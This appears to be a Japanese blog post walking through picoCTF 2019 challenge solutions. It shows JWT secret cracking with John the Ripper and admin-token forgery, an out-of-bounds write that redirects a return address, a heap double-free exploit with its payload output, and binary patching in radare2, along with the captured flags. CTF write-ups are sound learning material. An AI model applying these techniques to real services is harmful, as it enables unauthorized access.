ということで John the Ripper にも触れています。さっきtopページに唐突に出てきたあれです。
さっそくライブラリを探してみます。
色々試したところ、こちらのサイトで紹介されている John the ripper のjwt対応版が8時間で刺さりました。
Attacking JWT authentication > Using John
install & 実行コマンドはそのままコピペですが下記。Kali linuxに入れて実行しました。
$ git clone https://github.com/magnumripper/JohnTheRipper $ cd JohnTheRipper/src $ ./configure $ make -s clean && make -sj4 $ cd ../run $ ./john jwt.txt
Usernameを0
にしたときのjwtで試しています。
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiMCJ9.QNve24m-guJrRUm6epjNR5IJ2kzNe1ds5uQnHD95Hl4
実行結果
$ ./john /root/ctf/picoCTF2019/pico.txt Using default input encoding: UTF-8 Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x]) Warning: OpenMP is disabled; a non-OpenMP build may be faster Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Almost done: Processing the remaining buffered candidate passwords, if any. Proceeding with wordlist:./password.lst, rules:Wordlist Proceeding with incremental:ASCII 0g 0:00:26:39 3/3 0g/s 3681Kp/s 3681Kc/s 3681KC/s jrs9lt..jrbbv4 0g 0:01:12:07 3/3 0g/s 3392Kp/s 3392Kc/s 3392KC/s m10bjurt..m10bjk71 0g 0:01:56:25 3/3 0g/s 3315Kp/s 3315Kc/s 3315KC/s 102742am7..102744b83 0g 0:04:51:04 3/3 0g/s 3255Kp/s 3255Kc/s 3255KC/s dzkeu2n..dzkeujb ilovepico (?) 1g 0:07:34:04 DONE 3/3 (2019-10-07 17:55) 0.000036g/s 3425Kp/s 3425Kc/s 3425KC/s ilovepint..ilovepoey Use the "--show" option to display all of the cracked passwords reliably Session completed
やった!このilovepico
がそれでしょうか!途中様子が気になって何度かEnter押したんですけど、解析状況と経過時間を教えてくれるので良い。
ちなみに、他にも試していました。最終的にヒントにもJohn
の文字があったので最後のやつを使いましたが、jwt cracker はたくさん出ていますね。
- GitHub - brendan-rius/c-jwt-cracker: JWT brute force cracker written in C
- GitHub - lmammino/jwt-cracker: Simple HS256 JWT token brute force cracker
- GitHub - magnumripper/JohnTheRipper: This is the official repo for John the Ripper, "Jumbo" version
ではこのsecretを使って署名を再構築します。JWTの扱いにはPythonでJWTを簡単に扱うライブラリ PyJWT を導入しました。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import jwt my_jwt = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoia3VzdXdhZGEifQ.uHEq0YYt2m_8_-rXldU6i845K1Si31-b5AZtNVnRBY0" secret = 'ilovepico' data = jwt.decode(my_jwt, algorithms=['HS256'], verify=False) print('original_data: ' + repr(data)) data['user'] = 'admin' print('admin_data: ' + repr(data)) token=jwt.encode(data, secret, "HS256") print(token)
実行結果
$ python solve.py original_data: {'user': 'kusuwada'} admin_data: {'user': 'admin'} b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.gtqDl4jVDvNbEe_JYEZTN19Vx6X9NNZtRVbKPBkhO-s'
このjwtをcookieにセットして、リロードしてみます。
adminとして認定され、texterea部分にflagが出ました!٩(๑❛ᴗ❛๑)۶
[Web] Java Script Kiddie (400pt)
The image link appears broken... https://2019shell1.picoctf.com/problem/26832 or http://2019shell1.picoctf.com:26832
提示されたurlに飛んでみます。
超シンプルな作り。
ソースを見てみます。
(略) <script src="jquery-3.3.1.min.js"></script> <script> var bytes = []; $.get("bytes", function(resp) { bytes = Array.from(resp.split(" "), x => Number(x)); }); function assemble_png(u_in){ var LEN = 16; var key = "0000000000000000"; var shifter; if(u_in.length == LEN){ key = u_in; } var result = []; for(var i = 0; i < LEN; i++){ shifter = key.charCodeAt(i) - 48; for(var j = 0; j < (bytes.length / LEN); j ++){ result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i] } } while(result[result.length-1] == 0){ result = result.slice(0,result.length-1); } document.getElementById("Area").src = "data:image/png;base64," + btoa(String.fromCharCode.apply(null, new Uint8Array(result))); return false; } </script> (略)
このスクリプト部分が怪しい。なにやらPNG画像を生成して表示してくれるようです。
適当に入れると壊れたイメージっぽいアイコンが出るので、この画像のリンク先を見てみるとこんな感じ。
data:image/png;base64,O3isfIwASZ6kbT2MSa8Ozsjv3/P+Chr+/yLKEAAs69qJ/JsAzwABO07eWb6a9ZMAAFD+R2BJREUAelrJYvsKUqQAvHIUkFgKAeejQm5JAGwwAAAC58JLclTqaQ09gkSkgBBOv0peoEGlG64AnUhfNySjAQHOLhy60EQA7aTAbtHiCgBhAKQWJPgAAI8NTTxsvz2F/A1Rkm53AJztVK6j+VDx9FYA85+cU3igKr/Sfj8CjyE7hfK76wEched6u940jhprkhpLqzTHm08aOHetfb8qVp9G+jCt7BZ5NpD6Bj6+iPMNVHjBbNLesPlTrGp0+pFJ1PETP/FTC3U4zxzfvvk3WEgL6fPXWuOdsfkP/wKsbj+d8xMsiJn59fXUnAGddAeGZ15CU5p6Q9JOff/bOPG8CAha/JuxYyBLiGJgSHJJE/ogCFxaFA33pInDI90iJ8Os08looCPxTQXHY/55UhPpLmbAZGr4v9nftvx990jeZCdGfyFUvYacp2okTA1i+fp3lc35lZGQH4eemZgtx3YdZuJmPR9zliGik6hMe+5T/+uQ13l8w65SThT1/a1agXMg6u99pOpjcU2Clx8oYcdy+D6l35LPy6C1XJNY7bfW+Z7dLYNmz+chV2Oz5Qp/FQD/kda/2h6784nnmqeIeOMQ6kHfj9JTqKyQN5fZI9P9/Nv8r/CrsVJ4U8d77/PLs3v5vvGGeuYg3+GpN/4OCDURhJ1+r9eLMffPjvsRH1f5db5Zwyrt1aN/FdFxnV+7gm4yHc8Gw5M9tTnfvuz72+u3bzgnVR5/j1Om/X+/fjM7cq6yJn+3DmfMnOMrQi9+fP8i985tiZIHetv5IPVJH35uriiMIEgH/rhn6i39J+PJLH+ts/+xTiC+efvyfv9O5T+Nn+r++YNE78fO8T//az6+aH41O78X8sJnzWCEj1Q=
Base64 encodeされた文字列です。上のソースの出力っぽいです。これをbase64 decodeしても、PNGのフォーマットになっていないので壊れたアイコンが出ているようです。
ここで、ネットワークを見てみると指定ページにアクセスした時にbytes
というのが降ってきています。
59 120 172 124 140 0 73 158 164 109 61 140 73 175 14 206 200 239 223 243 254 10 26 254 255 34 202 16 0 44 235 218 137 252 155 0 207 0 1 59 78 222 89 190 154 245 147 0 0 80 254 71 96 73 68 69 0 122 90 201 98 251 10 82 164 0 188 114 20 144 88 10 1 231 163 66 110 73 0 108 48 0 0 2 231 194 75 114 84 234 105 13 61 130 68 164 128 16 78 191 74 94 160 65 165 27 174 0 157 72 95 55 36 163 1 1 206 46 28 186 208 68 0 237 164 192 110 209 226 10 0 97 0 164 22 36 248 0 0 143 13 77 60 108 191 61 133 252 13 81 146 110 119 0 156 237 84 174 163 249 80 241 244 86 0 243 159 156 83 120 160 42 191 210 126 63 2 143 33 59 133 242 187 235 1 28 133 231 122 187 222 52 142 26 107 146 26 75 171 52 199 155 79 26 56 119 173 125 191 42 86 159 70 250 48 173 236 22 121 54 144 250 6 62 190 136 243 13 84 120 193 108 210 222 176 249 83 172 106 116 250 145 73 212 241 19 63 241 83 11 117 56 207 28 223 190 249 55 88 72 11 233 243 215 90 227 157 177 249 15 255 2 172 110 63 157 243 19 44 136 153 249 245 245 212 156 1 157 116 7 134 103 94 66 83 154 122 67 210 78 125 255 219 56 241 188 8 8 90 252 155 177 99 32 75 136 98 96 72 114 73 19 250 32 8 92 90 20 13 247 164 137 195 35 221 34 39 195 172 211 201 104 160 35 241 77 5 199 99 254 121 82 19 233 46 102 192 100 106 248 191 217 223 182 252 125 247 72 222 100 39 70 127 33 84 189 134 156 167 106 36 76 13 98 249 250 119 149 205 249 149 145 144 31 135 158 153 152 45 199 118 29 102 226 102 61 31 115 150 33 162 147 168 76 123 238 83 255 235 144 215 121 124 195 174 82 78 20 245 253 173 90 129 115 32 234 239 125 164 234 99 113 77 130 151 31 40 97 199 114 248 62 165 223 146 207 203 160 181 92 147 88 237 183 214 249 158 221 45 131 102 207 231 33 87 99 179 229 10 127 21 0 255 145 214 191 218 30 187 243 137 231 154 167 136 120 227 16 234 65 223 143 210 83 168 172 144 55 151 217 35 211 253 252 219 252 175 240 171 177 82 120 83 199 123 239 243 203 179 123 249 190 241 134 122 230 32 223 225 169 55 254 14 8 53 17 132 157 126 175 215 139 49 247 207 142 251 17 31 87 249 117 190 89 195 42 237 213 163 127 21 209 113 157 95 187 130 110 50 29 207 6 195 147 61 181 57 223 190 236 251 219 235 183 111 56 39 85 30 127 143 83 166 253 127 191 126 51 59 114 174 178 38 127 183 14 103 204 156 227 43 66 47 126 124 255 34 247 206 109 137 146 7 122 219 249 32 245 73 31 126 110 174 40 140 32 72 7 254 184 103 234 45 253 39 227 201 44 127 173 179 255 177 78 32 190 121 251 242 126 255 78 229 63 141 159 234 254 249 131 68 239 199 206 241 63 255 107 62 190 104 126 53 59 191 23 242 194 103 205 96 132 143 84
これで情報は揃ったようです。
再度ソースを見てみると、shifter
の情報に合わせてbytes
の中身を並べ替えてresult
に格納しているようです。ここで、resultはそのまま出力になるので、これがPNGフォーマットにあっていればOKそう。
ここで、shifter
, すなわち入力のkey
の長さは16
です。なのでPNGフォーマットの先頭から16byteわかれば良いことになります。
このあたりの情報を見ながら、PNGのフォーマットを確認すると、先頭16byteは固定で下記のようです。
89504E47 0D0A1A0A 0000000D 49484452
あとは、resultがこれに当たるようにshifterを求めてやります。簡易的ですがこれで通ったので下のスクリプトを貼っておきます。(shifter[i]*LEM > bytes.length
だったときの考慮は漏れてます)
#!/usr/bin/env python3 # -*- coding:utf-8 -*- LEN = 16 PNG_FORMAT = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR" bytes_arr = [59, 120, 172, 124, 140, 0, 73, 158, 164, 109, 61, 140, 73, 175, 14, 206, 200, 239, 223, 243, 254, 10, 26, 254, 255, 34, 202, 16, 0, 44, 235, 218, 137, 252, 155, 0, 207, 0, 1, 59, 78, 222, 89, 190, 154, 245, 147, 0, 0, 80, 254, 71, 96, 73, 68, 69, 0, 122, 90, 201, 98, 251, 10, 82, 164, 0, 188, 114, 20, 144, 88, 10, 1, 231, 163, 66, 110, 73, 0, 108, 48, 0, 0, 2, 231, 194, 75, 114, 84, 234, 105, 13, 61, 130, 68, 164, 128, 16, 78, 191, 74, 94, 160, 65, 165, 27, 174, 0, 157, 72, 95, 55, 36, 163, 1, 1, 206, 46, 28, 186, 208, 68, 0, 237, 164, 192, 110, 209, 226, 10, 0, 97, 0, 164, 22, 36, 248, 0, 0, 143, 13, 77, 60, 108, 191, 61, 133, 252, 13, 81, 146, 110, 119, 0, 156, 237, 84, 174, 163, 249, 80, 241, 244, 86, 0, 243, 159, 156, 83, 120, 160, 42, 191, 210, 126, 63, 2, 143, 33, 59, 133, 242, 187, 235, 1, 28, 133, 231, 122, 187, 222, 52, 142, 26, 107, 146, 26, 75, 171, 52, 199, 155, 79, 26, 56, 119, 173, 125, 191, 42, 86, 159, 70, 250, 48, 173, 236, 22, 121, 54, 144, 250, 6, 62, 190, 136, 243, 13, 84, 120, 193, 108, 210, 222, 176, 249, 83, 172, 106, 116, 250, 145, 73, 212, 241, 19, 63, 241, 83, 11, 117, 56, 207, 28, 223, 190, 249, 55, 88, 72, 11, 233, 243, 215, 90, 227, 157, 177, 249, 15, 255, 2, 172, 110, 63, 157, 243, 19, 44, 136, 153, 249, 245, 245, 212, 156, 1, 157, 116, 7, 134, 103, 94, 66, 83, 154, 122, 67, 210, 78, 125, 255, 219, 56, 241, 188, 8, 8, 90, 252, 155, 177, 99, 32, 75, 136, 98, 96, 72, 114, 73, 19, 250, 32, 8, 92, 90, 20, 13, 247, 164, 137, 195, 35, 221, 34, 39, 195, 172, 211, 201, 104, 160, 35, 241, 77, 5, 199, 99, 254, 121, 82, 19, 233, 46, 102, 192, 100, 106, 248, 191, 217, 223, 182, 252, 125, 247, 72, 222, 100, 39, 70, 127, 33, 84, 189, 134, 156, 167, 106, 36, 76, 13, 98, 249, 250, 119, 149, 205, 249, 149, 145, 144, 31, 135, 158, 153, 152, 45, 199, 118, 29, 102, 226, 102, 61, 31, 115, 150, 33, 162, 147, 168, 76, 123, 238, 83, 255, 235, 144, 215, 121, 124, 195, 174, 82, 78, 20, 245, 253, 173, 90, 129, 115, 32, 234, 239, 125, 164, 234, 99, 113, 77, 130, 151, 31, 40, 97, 199, 114, 248, 62, 165, 223, 146, 207, 203, 160, 181, 92, 147, 88, 237, 183, 214, 249, 158, 221, 45, 131, 102, 207, 231, 33, 87, 99, 179, 229, 10, 127, 21, 0, 255, 145, 214, 191, 218, 30, 187, 243, 137, 231, 154, 167, 136, 120, 227, 16, 234, 65, 223, 143, 210, 83, 168, 172, 144, 55, 151, 217, 35, 211, 253, 252, 219, 252, 175, 240, 171, 177, 82, 120, 83, 199, 123, 239, 243, 203, 179, 123, 249, 190, 241, 134, 122, 230, 32, 223, 225, 169, 55, 254, 14, 8, 53, 17, 132, 157, 126, 175, 215, 139, 49, 247, 207, 142, 251, 17, 31, 87, 249, 117, 190, 89, 195, 42, 237, 213, 163, 127, 21, 209, 113, 157, 95, 187, 130, 110, 50, 29, 207, 6, 195, 147, 61, 181, 57, 223, 190, 236, 251, 219, 235, 183, 111, 56, 39, 85, 30, 127, 143, 83, 166, 253, 127, 191, 126, 51, 59, 114, 174, 178, 38, 127, 183, 14, 103, 204, 156, 227, 43, 66, 47, 126, 124, 255, 34, 247, 206, 109, 137, 146, 7, 122, 219, 249, 32, 245, 73, 31, 126, 110, 174, 40, 140, 32, 72, 7, 254, 184, 103, 234, 45, 253, 39, 227, 201, 44, 127, 173, 179, 255, 177, 78, 32, 190, 121, 251, 242, 126, 255, 78, 229, 63, 141, 159, 234, 254, 249, 131, 68, 239, 199, 206, 241, 63, 255, 107, 62, 190, 104, 126, 53, 59, 191, 23, 242, 194, 103, 205, 96, 132, 143, 84] print('bytes length: ' + str(len(bytes_arr))) shifter = [] for n in range(LEN): png_format = PNG_FORMAT[n] for i in range(len(bytes_arr)): if bytes_arr[i] == png_format: if i % LEN == n: shifter.append((i-n) // LEN) break key = '' for s in shifter: key += chr(s+48) print(key)
実行結果
$ python solve.py bytes length: 704 key: 2363911438750653
このkeyを最初のtopページに入れてみるとQRコードが!
このコードを読み込むと、flagになっていました٩(〃˙▿˙〃)۶
flag: picoCTF{4c182733af80dd49cc12d13be80d5893}
[Binary] L1im1tL355 (400pt)
Just pwn this program and get a flag. Its also found in /problems/l1im1tl355_1_688adedb3c25bf76cbb2c2a0fe7e9ac3 on the shell server. Source.
Hints
An unbounded index can point anywhere!
実行ファイルvuln
とソースコードvuln.c
が配布されます。
#include <stdlib.h> #include <stdio.h> #include <string.h> #define FLAG_BUFFER 128 void win() { char buf[FLAG_BUFFER]; FILE *f = fopen("flag.txt","r"); fgets(buf,FLAG_BUFFER,f); puts(buf); fflush(stdout); } void replaceIntegerInArrayAtIndex(unsigned int *array, int index, int value) { array[index] = value; } int main(int argc, char *argv[]) { int index; int value; int array[666]; puts("Input the integer value you want to put in the array\n"); scanf("%d",&value); fgetc(stdin); puts("Input the index in which you want to put the value\n"); scanf("%d",&index); replaceIntegerInArrayAtIndex(array,index,value); exit(0); }
array[666]
に入れたい値とindexを入力し、これを array[index] = value;
で代入するだけのプログラム。win()
関数を呼び出せば、flag.txtを出力してくれそう。
ヒントの "An unbounded index can point anywhere!" より、indexを範囲外に指定してみたところ、SegFaultは発生しません。負の数を入れてもOKです。
replaceIntegerInArrayAtIndex()
関数を呼び出した先で代入を行っているので、この関数の ret を win関数のアドレスで上書きすることを目指します。具体的には、array[index]
が ret
を、 value
が win_addr
を指すように設定できれば良さそう。
win()
関数のアドレスは
$ objdump limit -d | grep win 080485c6 <win>:
0x080485c6 = 134514118。
replaceIntegerInArrayAtIndex()
関数はmain
から呼ばれるため、stackはmainの上に詰まれます。なのでmain
の中で宣言されるarray
から見るとreplaceIntegerInArrayAtIndex()
のret
は上(マイナス方向)にあたります。Stackに具体的に何が入っているかは調査をするとわかるのかもしれませんが、array
を宣言してからreplaceIntegerInArrayAtIndex()
が呼ばれるまではそんなに処理がないので、いくつか試してみます。
+------------------------------------+ | ret replaceIntegerInArrayAtIndex() | array[-?] +------------------------------------+ | ... | array[-n] +------------------------------------+ | array (main) | array[0] +------------------------------------+ | ... | +------------------------------------+
$ ./vuln Input the integer value you want to put in the array 134514118 Input the index in which you want to put the value -5 picoCTF{str1nG_CH3353_59c3cf5a} Segmentation fault (core dumped)
[Reversing] Need For Speed (400pt)
The name of the game is speed. Are you quick enough to solve this problem and keep it above 50 mph? need-for-speed.
Youtubeに飛ばされて SPEED の映画が流れます。これは多分memeなので気にしない。
実行ファイル need_for_speed
が配布されます。実行してみます。
# ./need-for-speed Keep this thing over 50 mph! ============================ Creating key... Not fast enough. BOOM!
1秒くらいで最後の行が表示されて終わってしまいました。radare2で解析してみます。
$ r2 need-for-speed [0x000006b0]> aaaa [Invalid instruction of 16367 bytes at 0x1cb entry0 (aa) [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Constructing a function name for fcn.* and sym.func.* functions (aan) [x] Enable constraint types analysis for variables [0x000006b0]> s main [0x00000974]> pdf ;-- main: / (fcn) sym.main 62 | sym.main (int argc, char **argv, char **envp); | ; var int local_10h @ rbp-0x10 | ; var int local_4h @ rbp-0x4 | ; arg int argc @ rdi | ; arg char **argv @ rsi | ; DATA XREF from entry0 (0x6cd) | 0x00000974 55 push rbp | 0x00000975 4889e5 mov rbp, rsp | 0x00000978 4883ec10 sub rsp, 0x10 | 0x0000097c 897dfc mov dword [local_4h], edi ; argc | 0x0000097f 488975f0 mov qword [local_10h], rsi ; argv | 0x00000983 b800000000 mov eax, 0 | 0x00000988 e8a5ffffff call sym.header | 0x0000098d b800000000 mov eax, 0 | 0x00000992 e8e8feffff call sym.set_timer | 0x00000997 b800000000 mov eax, 0 | 0x0000099c e836ffffff call sym.get_key | 0x000009a1 b800000000 mov eax, 0 | 0x000009a6 e85bffffff call sym.print_flag | 0x000009ab b800000000 mov eax, 0 | 0x000009b0 c9 leave \ 0x000009b1 c3 ret
mainからちゃんとprint_flag
が呼ばれているみたいです。が、ここに辿り着く前におそらくset_timer
あたりで1秒経ったら強制終了、とかやってると思われます。この関数の呼び出しをskipしてもらいたいので、書き換えちゃいます。
これは picoCTF2018のReversing問題 be-quick-or-be-dead1 と同じ解法で解けそう。
デバッグモード(-d
)で再度radare2を立ち上げ、解析します。
$ r2 -d need-for-speed Process with PID 4634 started... = attach 4634 4634 bin.baddr 0x5645b7671000 Using 0x5645b7671000 asm.bits 64 [0x7fea581d8090]> aaaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Constructing a function name for fcn.* and sym.func.* functions (aan) [x] Enable constraint types analysis for variables
main関数を確認、set_timer
関数のアドレスを確認します。
[0x5645b7671857]> s main [0x5645b7671974]> pdf ;-- main: / (fcn) sym.main 62 | sym.main (int argc, char **argv, char **envp); | ; var int local_10h @ rbp-0x10 | ; var int local_4h @ rbp-0x4 | ; arg int argc @ rdi | ; arg char **argv @ rsi | ; DATA XREF from entry0 (0x5645b76716cd) | 0x5645b7671974 55 push rbp | 0x5645b7671975 4889e5 mov rbp, rsp | 0x5645b7671978 4883ec10 sub rsp, 0x10 | 0x5645b767197c 897dfc mov dword [local_4h], edi ; argc | 0x5645b767197f 488975f0 mov qword [local_10h], rsi ; argv | 0x5645b7671983 b800000000 mov eax, 0 | 0x5645b7671988 e8a5ffffff call sym.header | 0x5645b767198d b800000000 mov eax, 0 | 0x5645b7671992 e8e8feffff call sym.set_timer | 0x5645b7671997 b800000000 mov eax, 0 | 0x5645b767199c e836ffffff call sym.get_key | 0x5645b76719a1 b800000000 mov eax, 0 | 0x5645b76719a6 e85bffffff call sym.print_flag | 0x5645b76719ab b800000000 mov eax, 0 | 0x5645b76719b0 c9 leave \ 0x5645b76719b1 c3 ret
set_timer
関数のアドレスにジャンプして、命令をnop
(何もしない)に書き換えます。
[0x5645b7671974]> s 0x5645b7671992 [0x5645b7671992]> wao nop [0x5645b7671992]> pdf ;-- main: / (fcn) sym.main 62 | sym.main (int argc, char **argv, char **envp); | ; var int local_10h @ rbp-0x10 | ; var int local_4h @ rbp-0x4 | ; arg int argc @ rdi | ; arg char **argv @ rsi | ; DATA XREF from entry0 (0x5645b76716cd) | 0x5645b7671974 55 push rbp | 0x5645b7671975 4889e5 mov rbp, rsp | 0x5645b7671978 4883ec10 sub rsp, 0x10 | 0x5645b767197c 897dfc mov dword [local_4h], edi ; argc | 0x5645b767197f 488975f0 mov qword [local_10h], rsi ; argv | 0x5645b7671983 b800000000 mov eax, 0 | 0x5645b7671988 e8a5ffffff call sym.header | 0x5645b767198d b800000000 mov eax, 0 | 0x5645b7671992 90 nop .. | 0x5645b7671997 b800000000 mov eax, 0 | 0x5645b767199c e836ffffff call sym.get_key | 0x5645b76719a1 b800000000 mov eax, 0 | 0x5645b76719a6 e85bffffff call sym.print_flag | 0x5645b76719ab b800000000 mov eax, 0 | 0x5645b76719b0 c9 leave \ 0x5645b76719b1 c3 ret
nop
に書き換わっているのが確認できました。走らせてみます。
[0x5645b7671992]> dc Finished Printing flag: PICOCTF{Good job keeping bus #079e482e speeding along!}
ちょっと待つとflagが出てきました!
[Binary] SecondLife (400pt)
Just pwn this program using a double free and get a flag. It's also found in /problems/secondlife_5_411726def4a5ca43c0a5cffa350b0479 on the shell server. Source.
実行ファイル vuln
と、ソースコード vuln.c
が配布されます。
AfterLifeの次の問題でしょうか。AfterLifeで大分手こずったので、これも手強そう。
#include <stdlib.h> #include <stdio.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #define FLAG_BUFFER 200 #define LINE_BUFFER_SIZE 20 void win() { char buf[FLAG_BUFFER]; FILE *f = fopen("flag.txt","r"); fgets(buf,FLAG_BUFFER,f); fprintf(stdout,"%s\n",buf); fflush(stdout); } int main(int argc, char *argv[]) { //This is rather an artificial pieace of code taken from Secure Coding in c by Robert C. Seacord char *first, *second, *third, *fourth; char *fifth, *sixth, *seventh; first=malloc(256); printf("Oops! a new developer copy pasted and printed an address as a decimal...\n"); printf("%d\n",first); fgets(first, LINE_BUFFER_SIZE, stdin); second=malloc(256); third=malloc(256); fourth=malloc(256); free(first); free(third); fifth=malloc(128); free(first); sixth=malloc(256); puts("You should enter the got and the shellcode address in some specific manner... an overflow will not be very useful..."); gets(sixth); seventh=malloc(256); exit(0); }
AfterLifeとかなり似たコードになっています。前に使われていなかったsixth
が使われていたり、first
が double free されたりしている辺りが変更点のようです。
親切にも
You should enter the got and the shellcode address in some specific manner... an overflow will not be very useful...
というアドバイスが。AfterLifeもこの手順で解いたような…?
1st
をmallocし、その後そのアドレスを表示- 先程確保した
1st
に20文字ユーザー入力を代入 2nd
,3rd
,4th
を malloc1st
,3rd
を free5th
を malloc(128)1st
を 再度 free (←new! double free)6th
を malloc6th
のアドレスを指定し、ユーザー入力を代入7th
を mallocexit(0)
AfterLifeの方の問題で、不要なmalloc,freeがあったのはこの問題につなげるためだったのかな。
6.の手前までの free list は、前回と同じく
[free list] after free 1st, 3rd (head) -> 3rd -> 1st -> (tail) [free list] after malloc 5th (head) -> 1st -> (tail)
となっています。ここで、再度 1st を free すると、
[free list] after re-free 1st (head) -> 1st -> 1st -> 1st -> ...
となります。
この後、 6th を mallocすると、1stの領域が取得され、free list も 1st を指したままになります。
6th には自由に書き込みできるため、前回同様 6st の [Allocated chunk] の User data に書き込みを行ったつもりが、free list にいる 1st の [Freed chunk] の forward porinter, back pointer への書き込みが行われます。
あとは前回と全く同じなので、前回のスクリプトの path と 受け取る message 部分のみを書き換えたスクリプトを流してみます。
$ python solve.py picoCTF shell server login [+] Connecting to 2019shell1.picoctf.com on port 22: Done [*] Working directory: '/problems/secondlife_5_411726def4a5ca43c0a5cffa350b0479' [*] '/root/ctf/picoCTF2019/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE [+] Opening new channel: execve(b'./vuln', [b'./vuln', b'a'], os.environ): Done fist_addr: 149331976 exit_addr: 134533164 win_addr: 134515030 b'shellcode: hV\x89\x04\x08\xc3' b'payload: \xd0\x04\x08\x10\xa0\xe6\x08hV\x89\x04\x08\xc3' b'picoCTF{HeapHeapFlag_cd51d246}\n'
あらー、全く同じスクリプトで解けてしまった。
AfterLifeが free された後の扱い、SecondLife が free された後にまた別の領域として malloc された時の扱い(第二の人生)ってことで、タイトルがいい感じ。
[Reversing] Time's Up (400pt)
Time waits for no one. Can you solve this before time runs out? times-up, located in the directory at /problems/time-s-up_2_af1f9d8c14e16bcbe591af8b63f7e286.
上の問題 Need For Speed と同じ香りがします。
実行ファイル times-up
が配布されます。まずは実行してみます。
$ ./times-up Challenge: (((((-1871721278) + (1054666764)) + ((-1850126378) + (-1271223232))) + (((-85717148) + (817912142)) + ((-1281893632) + (-1305915858)))) - ((((1396660971) + (-229393799)) + ((1873497336) + (2003487628))) + (((-1382082383) + (-2025204892)) + ((-363414248) - (-1646708006))))) Setting alarm... Solution? Alarm clock
何度か実行してみると、その都度値が変わっているので事前に計算しておくのは難しそうです。そもそも入力すら待ってくれません。
Solution? Alarm clock
とのことなので、Alarmを切ってやると良さそう。
こちらもradare2で解析してみます。
$ r2 -d times-up Process with PID 4756 started... = attach 4756 4756 bin.baddr 0x55d5eee65000 Using 0x55d5eee65000 asm.bits 64 [0x7f5b2fa8f090]> aaaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Constructing a function name for fcn.* and sym.func.* functions (aan) [x] Enable constraint types analysis for variables [0x7f5b2fa8f090]> s main [0x55d5eee65cc3]> pdf / (fcn) main 224 | main (int argc, char **argv, char **envp); | ; var int local_4h @ rbp-0x4 | ; DATA XREF from entry0 (0x55d5eee6594d) | 0x55d5eee65cc3 55 push rbp | 0x55d5eee65cc4 4889e5 mov rbp, rsp | 0x55d5eee65cc7 4883ec10 sub rsp, 0x10 | 0x55d5eee65ccb c745fc881300. mov dword [local_4h], 0x1388 | 0x55d5eee65cd2 b800000000 mov eax, 0 | 0x55d5eee65cd7 e874fdffff call sym.init_randomness | 0x55d5eee65cdc 488d3d5d0100. lea rdi, qword [0x55d5eee65e40] ; "Challenge: " | 0x55d5eee65ce3 b800000000 mov eax, 0 | 0x55d5eee65ce8 e8a3fbffff call sym.imp.printf ; int printf(const char *format) | 0x55d5eee65ced b800000000 mov eax, 0 | 0x55d5eee65cf2 e8b4ffffff call sym.generate_challenge | 0x55d5eee65cf7 bf0a000000 mov edi, 0xa | 0x55d5eee65cfc e84ffbffff call sym.imp.putchar ; int putchar(int c) | 0x55d5eee65d01 488b05181320. mov rax, qword [0x55d5ef067020] ; section..bss ; [0x55d5ef067020:8]=0 | 0x55d5eee65d08 4889c7 mov rdi, rax | 0x55d5eee65d0b e8d0fbffff call sym.imp.fflush ; int fflush(FILE *stream) | 0x55d5eee65d10 488d3d350100. lea rdi, qword [0x55d5eee65e4c] ; "Setting alarm..." | 0x55d5eee65d17 e844fbffff call sym.imp.puts ; int puts(const char *s) | 0x55d5eee65d1c 488b05fd1220. mov rax, qword [0x55d5ef067020] ; section..bss ; [0x55d5ef067020:8]=0 | 0x55d5eee65d23 4889c7 mov rdi, rax | 0x55d5eee65d26 e8b5fbffff call sym.imp.fflush ; int fflush(FILE *stream) | 0x55d5eee65d2b 8b45fc mov eax, dword [local_4h] | 0x55d5eee65d2e be00000000 mov esi, 0 | 0x55d5eee65d33 89c7 mov edi, eax | 0x55d5eee65d35 e866fbffff call sym.imp.ualarm | 0x55d5eee65d3a 488d3d1c0100. lea rdi, qword [0x55d5eee65e5d] ; "Solution? " | 0x55d5eee65d41 b800000000 mov eax, 0 | 0x55d5eee65d46 e845fbffff call sym.imp.printf ; int printf(const char *format) | 0x55d5eee65d4b 488d351e3a20. lea rsi, qword [0x55d5ef069770] | 0x55d5eee65d52 488d3d0f0100. lea rdi, qword [0x55d5eee65e68] ; "%lld" | 0x55d5eee65d59 b800000000 mov eax, 0 | 0x55d5eee65d5e e88dfbffff call sym.imp.__isoc99_scanf ; int scanf(const char *format) | 0x55d5eee65d63 488b15063a20. mov rdx, qword [0x55d5ef069770] ; [0x55d5ef069770:8]=0 | 0x55d5eee65d6a 488b05073a20. mov rax, qword [0x55d5ef069778] ; [0x55d5ef069778:8]=0 | 0x55d5eee65d71 4839c2 cmp rdx, rax | ,=< 0x55d5eee65d74 751a jne 0x55d5eee65d90 | | 0x55d5eee65d76 488d3df00000. lea rdi, qword [0x55d5eee65e6d] ; "Congrats! Here is the flag!" | | 0x55d5eee65d7d e8defaffff call sym.imp.puts ; int puts(const char *s) | | 0x55d5eee65d82 488d3d000100. lea rdi, qword [0x55d5eee65e89] ; "/bin/cat flag.txt" | | 0x55d5eee65d89 e8f2faffff call sym.imp.system ; int system(const char *string) | ,==< 0x55d5eee65d8e eb0c jmp 0x55d5eee65d9c | |`-> 0x55d5eee65d90 488d3d040100. lea rdi, qword [0x55d5eee65e9b] ; "Nope!" | | 0x55d5eee65d97 e8c4faffff call sym.imp.puts ; int puts(const char *s) | | ; CODE XREF from main (0x55d5eee65d8e) | `--> 0x55d5eee65d9c b800000000 mov eax, 0 | 0x55d5eee65da1 c9 leave \ 0x55d5eee65da2 c3 ret
